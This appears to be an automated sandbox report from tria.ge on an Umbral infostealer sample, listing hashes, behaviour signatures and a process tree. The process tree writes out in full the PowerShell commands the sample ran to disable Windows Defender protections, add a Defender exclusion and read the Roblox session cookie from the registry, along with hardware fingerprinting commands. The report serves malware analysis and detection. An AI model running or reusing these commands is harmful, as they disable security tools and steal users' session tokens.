Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
07/01/2025, 23:39
General
-
Target
Umbral.exe
-
Size
231KB
-
MD5
1386a2acc32c74bd6c5c7c0854ed0057
-
SHA1
0c7fad651f261659e38a0d248ef293243cd44d2b
-
SHA256
196836d6a8ec3b17bf20eef67adb66f5c811e547454f0a3593fcdf795db465cf
-
SHA512
e84390078981e8d5404c854d066242df8fcb09fcdc9c6721e499a99758d63d34e94608910d7f99031c22bf5e2d2ddc21f3126819a38adec13393a2b5d766ced7
-
SSDEEP
6144:RloZMrfsXtioRkts/cnnK6cMlpDtwt74szeKrd4UBbLxb8e1mii:joZBtlRk83MlpDtwt74szeKrd4UBJg
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/4776-1-0x00000239B5D70000-0x00000239B5DB0000-memory.dmp family_umbral -
Umbral family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4468 powershell.exe 2976 powershell.exe 2244 powershell.exe 1860 powershell.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4028 wmic.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4468 powershell.exe 4468 powershell.exe 2976 powershell.exe 2976 powershell.exe 2244 powershell.exe 2244 powershell.exe 5068 powershell.exe 5068 powershell.exe 1860 powershell.exe 1860 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4776 Umbral.exe Token: SeDebugPrivilege 4468 powershell.exe Token: SeDebugPrivilege 2976 powershell.exe Token: SeDebugPrivilege 2244 powershell.exe Token: SeDebugPrivilege 5068 powershell.exe Token: SeIncreaseQuotaPrivilege 3192 wmic.exe Token: SeSecurityPrivilege 3192 wmic.exe Token: SeTakeOwnershipPrivilege 3192 wmic.exe Token: SeLoadDriverPrivilege 3192 wmic.exe Token: SeSystemProfilePrivilege 3192 wmic.exe Token: SeSystemtimePrivilege 3192 wmic.exe Token: SeProfSingleProcessPrivilege 3192 wmic.exe Token: SeIncBasePriorityPrivilege 3192 wmic.exe Token: SeCreatePagefilePrivilege 3192 wmic.exe Token: SeBackupPrivilege 3192 wmic.exe Token: SeRestorePrivilege 3192 wmic.exe Token: SeShutdownPrivilege 3192 wmic.exe Token: SeDebugPrivilege 3192 wmic.exe Token: SeSystemEnvironmentPrivilege 3192 wmic.exe Token: SeRemoteShutdownPrivilege 3192 wmic.exe Token: SeUndockPrivilege 3192 wmic.exe Token: SeManageVolumePrivilege 3192 wmic.exe Token: 33 3192 wmic.exe Token: 34 3192 wmic.exe Token: 35 3192 wmic.exe Token: 36 3192 wmic.exe Token: SeIncreaseQuotaPrivilege 3192 wmic.exe Token: SeSecurityPrivilege 3192 wmic.exe Token: SeTakeOwnershipPrivilege 3192 wmic.exe Token: SeLoadDriverPrivilege 3192 wmic.exe Token: SeSystemProfilePrivilege 3192 wmic.exe Token: SeSystemtimePrivilege 3192 wmic.exe Token: SeProfSingleProcessPrivilege 3192 wmic.exe Token: SeIncBasePriorityPrivilege 3192 wmic.exe Token: SeCreatePagefilePrivilege 3192 wmic.exe Token: SeBackupPrivilege 3192 wmic.exe Token: SeRestorePrivilege 3192 wmic.exe Token: SeShutdownPrivilege 3192 wmic.exe Token: SeDebugPrivilege 3192 wmic.exe Token: SeSystemEnvironmentPrivilege 3192 wmic.exe Token: SeRemoteShutdownPrivilege 3192 wmic.exe Token: SeUndockPrivilege 3192 wmic.exe Token: SeManageVolumePrivilege 3192 wmic.exe Token: 33 3192 wmic.exe Token: 34 3192 wmic.exe Token: 35 3192 wmic.exe Token: 36 3192 wmic.exe Token: SeIncreaseQuotaPrivilege 4992 wmic.exe Token: SeSecurityPrivilege 4992 wmic.exe Token: SeTakeOwnershipPrivilege 4992 wmic.exe Token: SeLoadDriverPrivilege 4992 wmic.exe Token: SeSystemProfilePrivilege 4992 wmic.exe Token: SeSystemtimePrivilege 4992 wmic.exe Token: SeProfSingleProcessPrivilege 4992 wmic.exe Token: SeIncBasePriorityPrivilege 4992 wmic.exe Token: SeCreatePagefilePrivilege 4992 wmic.exe Token: SeBackupPrivilege 4992 wmic.exe Token: SeRestorePrivilege 4992 wmic.exe Token: SeShutdownPrivilege 4992 wmic.exe Token: SeDebugPrivilege 4992 wmic.exe Token: SeSystemEnvironmentPrivilege 4992 wmic.exe Token: SeRemoteShutdownPrivilege 4992 wmic.exe Token: SeUndockPrivilege 4992 wmic.exe Token: SeManageVolumePrivilege 4992 wmic.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 4776 wrote to memory of 4468 4776 Umbral.exe 85 PID 4776 wrote to memory of 4468 4776 Umbral.exe 85 PID 4776 wrote to memory of 2976 4776 Umbral.exe 87 PID 4776 wrote to memory of 2976 4776 Umbral.exe 87 PID 4776 wrote to memory of 2244 4776 Umbral.exe 89 PID 4776 wrote to memory of 2244 4776 Umbral.exe 89 PID 4776 wrote to memory of 5068 4776 Umbral.exe 91 PID 4776 wrote to memory of 5068 4776 Umbral.exe 91 PID 4776 wrote to memory of 3192 4776 Umbral.exe 93 PID 4776 wrote to memory of 3192 4776 Umbral.exe 93 PID 4776 wrote to memory of 4992 4776 Umbral.exe 96 PID 4776 wrote to memory of 4992 4776 Umbral.exe 96 PID 4776 wrote to memory of 740 4776 Umbral.exe 99 PID 4776 wrote to memory of 740 4776 Umbral.exe 99 PID 4776 wrote to memory of 1860 4776 Umbral.exe 101 PID 4776 wrote to memory of 1860 4776 Umbral.exe 101 PID 4776 wrote to memory of 4028 4776 Umbral.exe 103 PID 4776 wrote to memory of 4028 4776 Umbral.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4776 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4468
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2976
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2244
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5068
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3192
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4992
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:740
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1860
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:4028
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
Filesize
948B
MD5ad131c8b53093f1b673385910693d7a3
SHA1d1948974be7bdbf63f85c132ce81f7e4a71ede2f
SHA25663b31d22e538288f6adcd34311b222a9e77c668093f12146d0c2d078698c4376
SHA5129e0682979b727dacc054df93a1eb7c26210d9cf6ab79b85cc2e4bf91d92ada282499ef2a3df82ef3408f1ed1e0ad71a70f0086e4d6cfb4b2c50d015085ad1813
-
Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
-
Filesize
1KB
MD57511c81925750deb7ad1b9b80eea8a8d
SHA16ea759b3cbd243ae11435c6d6c5ced185eb01f49
SHA2565b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa
SHA5125f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82